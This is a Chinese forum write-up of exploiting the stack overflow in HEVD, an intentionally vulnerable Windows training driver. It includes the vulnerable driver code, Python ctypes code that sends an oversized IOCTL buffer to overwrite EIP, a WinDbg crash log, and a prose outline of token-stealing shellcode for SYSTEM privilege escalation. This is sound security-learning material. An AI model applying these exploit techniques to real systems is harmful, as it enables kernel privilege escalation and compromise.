首页
社区
课程
招聘
[原创]内核进击之旅--HEVD--stackoverflow
发表于: 2018-3-27 22:41 7086

[原创]内核进击之旅--HEVD--stackoverflow

2018-3-27 22:41
7086

HEVD全称是HackSysExtremeVulnerableDriver,它是一个包含各种Windows内核漏洞的驱动程序项目,可以用来学习Windows内核攻击。地址是https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

首先需要编译驱动程序,在前一篇中安装环境和编译已经描述清楚了。一开始我编译的平台是Win7x86。后面再介绍x64,二者相差不大。编译完成后,使用OSR driver Loader在目标系统中加载驱动,加载完成后开始分析。同时在windbg里执行ed nt!Kd_Default_Mask 8就可以修改注册表打开DbgPrint调试输出。

第一个漏洞是stackoverflow,因为程序有源代码,所以我先直接看的源代码。可以看到HACKSYS_EVD_IOCTL_STACK_OVERFLOW IO code对应的是StackOverflowIoctlHandler例程函数。跟进去这个函数,发现它获取了用户的输入以及用户传入的输入大小并且调用TriggerStackOverflow函数,继续跟进,发现TriggerStackOverflow即是漏洞函数。

通过这个函数可以看到漏洞的成因是KernelBuff大小是固定的512*8字节,而在最后拷贝的时候却使用的是用户自定义的大小,导致存在溢出。

想要利用漏洞,首先能触发漏洞并引起BSOD,漏洞触发很简单,只要传入的UserBuff以及Size都大于KernelBuff即可。为了练习Python编程能力,使用Pythonctypes来写程序(其实主要是看别人的代码来改)。
把程序拖进IDA,看到KernelBuff的地址是unsigned int KernelBuffer[512]; // [esp+Ch] [ebp-828h],所以传入的输入大于0x828+4即可覆盖eip导致异常崩溃。
首先是获取驱动句柄:

接下来是触发漏洞,触发漏洞首先需要IO code,IO code可以从IDA里面获取,也可以照着源码构造。HEVD的stackoverflow的IO code是0x222003。知道IO code以后就可以用DeviceIoControl来传递IO包去触发漏洞。

运行脚本,系统崩溃退出。在windbg里面,我们可以看到溢出崩溃后的情况。

可以看到eip被覆盖成了0x32323232即输入字符串中的'2'*4

一开始学的shellcode就是替换cmd进程token为system的token,达到提权的目的。
为了获取token,需要对windows内核的结构体有些了解。
首先是获取Windows的KPCR(Kernel Processor Control Region)结构体,这个结构体存储了关于处理器的一些信息。在win7 x86系统中该结构体存储在fs:[0],而在x64系统中,结构体存储在gs:[0]中。

KPCR偏移0x120的地方存储了KPRCB( Kernel Processor Control Block)结构体,这个结构体存储了当前处理器的信息,包含线程信息等。

在这里我们关心的是偏移0x4_KTHREAD结构体,这个指针指向一个ETHREAD结构体,包含当前运行线程的信息。

_KTHREAD偏移0x40的地方是_KAPC_STATE结构体。这个结构体比较简单:

最终我们看到了_KPROCESS指针,这个指针指向EPROCESSEPROCESS结构体包含了当前进程的一些信息。

这个结构体中需要关注的字段有三个,一个是UniqueProcessId,表示的是当前进程ID,即我们在任务管理器里面看到的进程号,我们要寻找的system的进程号是4。第二个是Token字段,我们所要做的即是将systemtoken拷贝至cmdtoken字段中。最后一个是ActiveProcessLinks,这是一个双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程。

有了以上信息后,我们可以将shellcode的过程总结如下:

有了shellcode之后,考虑如何利用。包含以下步骤:

触发漏洞
第一步,创建cmd进程

其中第二及第三步在BSOD部分已经说过,不再重复。
第四步,为shellcode分配内存。

第五步,创建一个字符串用于溢出驱动

第六步,触发漏洞。

最终在cmd中执行命令whoami可以看到已经是system用户。

x64平台编译出来后,二者相差不大,要改变的主要是三个地方,一个是溢出字符串偏移有所改变,这个具体使用IDA查看就好。一个是shellcode结构体一开始寻找使用的是gs:[0]而不是fs:[0]这个在前面提过,shellcode的原理是一致的。最后一个是shellcode一开始需要将rsi寄存器设置为可读地址的区域,否则后面会报错,原因在于后面使用了rsi寄存器来访存。所以一开始要设置。具体可以看最后给的exp

刚开始调试内核,不懂得东西好多,还有很多的东西要学。脚踏实地,仰望星空。

 
        NTSTATUS Status = STATUS_SUCCESS;
        ULONG KernelBuffer[BUFFER_SIZE] = {0};
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
def gethandle():
    """Open handle to driver and return it"""

    print "[*]Getting device handle..."
    lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"
    dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
    dwShareMode = 0
    lpSecurityAttributes = None
    dwCreationDisposition = OPEN_EXISTING
    dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
    hTemplateFile = None

    handle = CreateFileW(lpFileName,
                         dwDesiredAccess,
                         dwShareMode,
                         lpSecurityAttributes,
                         dwCreationDisposition,
                         dwFlagsAndAttributes,
                         hTemplateFile)

    if not handle or handle == -1:
        print "\t[-]Error getting device handle: " + FormatError()
        sys.exit(-1)

    print "\t[+]Got device handle: 0x%x" % handle
    return handle
def trigger(hDevice, dwIoControlCode):
    """Create evil buf and send IOCTL"""

    evilbuf = create_string_buffer("A"*0x828+'1'*4+'2'*4)
    lpInBuffer = addressof(evilbuf)
    nInBufferSize = 0x828+8
    lpOutBuffer = None
    nOutBufferSize = 0
    lpBytesReturned = None
    lpOverlapped = create_string_buffer("A"*8)

    pwnd = DeviceIoControl(hDevice,
                                           dwIoControlCode,
                                           lpInBuffer,
                                           nInBufferSize,
                                           lpOutBuffer,
                                           nOutBufferSize,
                                           lpBytesReturned,
                                           lpOverlapped)
    if not pwnd:
        print "\t[-]Error: Not pwnd :(\n" + FormatError()
        sys.exit(-1)
Win7_x86!IrpDeviceIoCtlHandler+b7 [c:\users\raycp\desktop\hacksysextremevulnerabledriver-master\driver\hacksysextremevulnerabledriver.c @ 208]
8e3dd4f7 8945f8          mov     dword ptr [ebp-8],eax

BUGCHECK_STR:  ACCESS_VIOLATION

EXECUTE_ADDRESS: 32323232

FAILED_INSTRUCTION_ADDRESS: 
+0
32323232 ??
kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   ...
   +0x120 PrcbData         : _KPRCB
kd> dt nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   ...
kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 CycleTime        : Uint8B
   +0x018 HighCycleTime    : Uint4B
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr32 Void
   +0x02c StackLimit       : Ptr32 Void
   +0x030 KernelStack      : Ptr32 Void
   +0x034 ThreadLock       : Uint4B
   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER
   ...
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23] UChar
   +0x057 Priority         : Char
   ...

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 58
活跃值: (1130)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
Mark
2018-3-28 10:46
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
3
棒QVQ
2018-3-31 02:42
0
雪    币: 368
活跃值: (431)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
4
所以irp处理,这块要非常小心,谢谢楼主帖子
2018-4-3 13:55
0
游客
登录 | 注册 方可回帖
返回
//